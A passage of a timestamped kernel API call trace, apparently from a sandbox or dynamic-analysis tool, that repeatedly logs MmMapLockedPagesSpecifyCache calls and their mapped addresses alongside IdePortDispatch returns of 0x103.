(MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c4000 [0111.862] IdePortDispatch () returned 0x103 [0111.863] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c6000 [0111.863] IdePortDispatch () returned 0x103 [0111.864] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c9000 [0111.864] IdePortDispatch () returned 0x103 [0111.865] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034cd000 [0111.865] IdePortDispatch () returned 0x103 [0111.866] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034cf000 [0111.866] IdePortDispatch () returned 0x103 [0111.867] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d1000 [0111.867] IdePortDispatch () returned 0x103 [0111.867] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d3000 [0111.867] IdePortDispatch () returned 0x103 [0111.868] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d6000 [0111.868] IdePortDispatch () returned 0x103 [0111.869] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d9000 [0111.869] IdePortDispatch () returned 0x103 [0111.870] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034dc000 [0111.870] IdePortDispatch () returned 0x103 [0111.871] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034de000 [0111.871] IdePortDispatch () returned 0x103 [0111.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e8000 [0111.872] IdePortDispatch () returned 0x103 [0111.873] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ed000 [0111.873] IdePortDispatch () returned 0x103 [0111.874] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f2000 [0111.874] IdePortDispatch () returned 0x103 [0111.877] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f7000 [0111.877] IdePortDispatch () returned 0x103 [0111.877] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f9000 [0111.877] IdePortDispatch () returned 0x103 [0111.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fd000 [0111.878] IdePortDispatch () returned 0x103 [0111.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0111.878] IdePortDispatch () returned 0x103 [0111.881] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003502000 [0111.881] IdePortDispatch () returned 0x103 [0111.884] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003504000 [0111.884] IdePortDispatch () returned 0x103 [0111.884] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003506000 [0111.884] IdePortDispatch () returned 0x103 [0111.907] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cda000 [0111.907] IdePortDispatch () returned 0x103 [0111.911] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cdc000 [0111.911] IdePortDispatch () returned 0x103 [0111.911] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cde000 [0111.911] IdePortDispatch () returned 0x103 [0111.912] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce0000 [0111.912] IdePortDispatch () returned 0x103 [0111.912] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce2000 [0111.912] IdePortDispatch () returned 0x103 [0111.913] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce4000 [0111.913] IdePortDispatch () returned 0x103 [0111.913] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce6000 [0111.913] IdePortDispatch () returned 0x103 [0111.914] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce8000 [0111.914] IdePortDispatch () returned 0x103 [0111.914] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cea000 [0111.914] IdePortDispatch () returned 0x103 [0111.916] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cec000 [0111.916] IdePortDispatch () returned 0x103 [0112.012] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0f000 [0112.013] IdePortDispatch () returned 0x103 [0112.013] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d11000 [0112.013] IdePortDispatch () returned 0x103 [0112.014] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d13000 [0112.014] IdePortDispatch () returned 0x103 [0112.024] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1a000 [0112.024] IdePortDispatch () returned 0x103 [0112.025] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d27000 [0112.025] IdePortDispatch () returned 0x103 [0112.029] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d29000 [0112.029] IdePortDispatch () returned 0x103 [0112.030] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2b000 [0112.030] IdePortDispatch () returned 0x103 [0112.031] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2d000 [0112.031] IdePortDispatch () returned 0x103 [0112.031] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2f000 [0112.031] IdePortDispatch () returned 0x103 [0112.032] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d31000 [0112.032] IdePortDispatch () returned 0x103 [0112.036] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d33000 [0112.036] IdePortDispatch () returned 0x103 [0112.038] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d35000 [0112.038] IdePortDispatch () returned 0x103 [0112.054] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d37000 [0112.054] IdePortDispatch () returned 0x103 [0112.055] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d50000 [0112.055] IdePortDispatch () returned 0x103 [0112.056] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d52000 [0112.056] IdePortDispatch () returned 0x103 [0112.056] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d54000 [0112.056] IdePortDispatch () returned 0x103 [0112.057] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d56000 [0112.057] IdePortDispatch () returned 0x103 [0112.057] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d58000 [0112.057] IdePortDispatch () returned 0x103 [0112.058] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5a000 [0112.058] IdePortDispatch () returned 0x103 [0112.058] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5d000 [0112.058] IdePortDispatch () returned 0x103 [0112.058] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d60000 [0112.058] IdePortDispatch () returned 0x103 [0112.059] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d63000 [0112.059] IdePortDispatch () returned 0x103 [0112.062] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d66000 [0112.062] IdePortDispatch () returned 0x103 [0112.062] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d69000 [0112.062] IdePortDispatch () returned 0x103 [0112.063] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6c000 [0112.063] IdePortDispatch () returned 0x103 [0112.065] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d70000 [0112.065] IdePortDispatch () returned 0x103 [0112.065] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d72000 [0112.065] IdePortDispatch () returned 0x103 [0112.066] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d76000 [0112.066] IdePortDispatch () returned 0x103 [0112.066] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d79000 [0112.066] IdePortDispatch () returned 0x103 [0112.071] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7c000 [0112.071] IdePortDispatch () returned 0x103 [0112.071] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7f000 [0112.071] IdePortDispatch () returned 0x103 [0112.072] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d81000 [0112.072] IdePortDispatch () returned 0x103 [0112.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d83000 [0112.075] IdePortDispatch () returned 0x103 [0112.081] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d85000 [0112.081] IdePortDispatch () returned 0x103 [0112.085] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d88000 [0112.085] IdePortDispatch () returned 0x103 [0112.085] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d98000 [0112.085] IdePortDispatch () returned 0x103 [0112.089] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9b000 [0112.089] IdePortDispatch () returned 0x103 [0112.091] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9d000 [0112.091] IdePortDispatch () returned 0x103 [0112.091] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da0000 [0112.091] IdePortDispatch () returned 0x103 [0112.092] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002daf000 [0112.092] IdePortDispatch () returned 0x103 [0112.096] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df7000 [0112.097] IdePortDispatch () returned 0x103 [0112.103] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfa000 [0112.103] IdePortDispatch () returned 0x103 [0112.104] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfd000 [0112.104] IdePortDispatch () returned 0x103 [0112.107] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003401000 [0112.107] IdePortDispatch () returned 0x103 [0112.111] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003406000 [0112.111] IdePortDispatch () returned 0x103 [0112.112] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003409000 [0112.112] IdePortDispatch () returned 0x103 [0112.115] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003411000 [0112.115] IdePortDispatch () returned 0x103 [0112.116] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003415000 [0112.116] IdePortDispatch () returned 0x103 [0112.125] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003425000 [0112.125] IdePortDispatch () returned 0x103 [0112.126] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342b000 [0112.126] IdePortDispatch () returned 0x103 [0112.127] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0112.127] IdePortDispatch () returned 0x103 [0112.132] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003445000 [0112.132] IdePortDispatch () returned 0x103 [0112.133] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003449000 [0112.133] IdePortDispatch () returned 0x103 [0112.134] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344e000 [0112.134] IdePortDispatch () returned 0x103 [0112.135] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003452000 [0112.135] IdePortDispatch () returned 0x103 [0112.136] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003456000 [0112.136] IdePortDispatch () returned 0x103 [0112.136] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800345b000 [0112.136] IdePortDispatch () returned 0x103 [0112.137] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800345f000 [0112.137] IdePortDispatch () returned 0x103 [0112.138] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003464000 [0112.138] IdePortDispatch () returned 0x103 [0112.138] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003469000 [0112.138] IdePortDispatch () returned 0x103 [0112.139] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346d000 [0112.139] IdePortDispatch () returned 0x103 [0112.139] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003472000 [0112.139] IdePortDispatch () returned 0x103 [0112.140] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003477000 [0112.140] IdePortDispatch () returned 0x103 [0112.140] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347c000 [0112.140] IdePortDispatch () returned 0x103 [0112.141] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347f000 [0112.141] IdePortDispatch () returned 0x103 [0112.141] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003481000 [0112.141] IdePortDispatch () returned 0x103 [0112.142] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003486000 [0112.142] IdePortDispatch () returned 0x103 [0112.142] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003489000 [0112.142] IdePortDispatch () returned 0x103 [0112.143] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800348c000 [0112.143] IdePortDispatch () returned 0x103 [0112.143] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003490000 [0112.143] IdePortDispatch () returned 0x103 [0112.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003494000 [0112.144] IdePortDispatch () returned 0x103 [0112.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003497000 [0112.144] IdePortDispatch () returned 0x103 [0112.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349b000 [0112.145] IdePortDispatch () returned 0x103 [0112.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349e000 [0112.145] 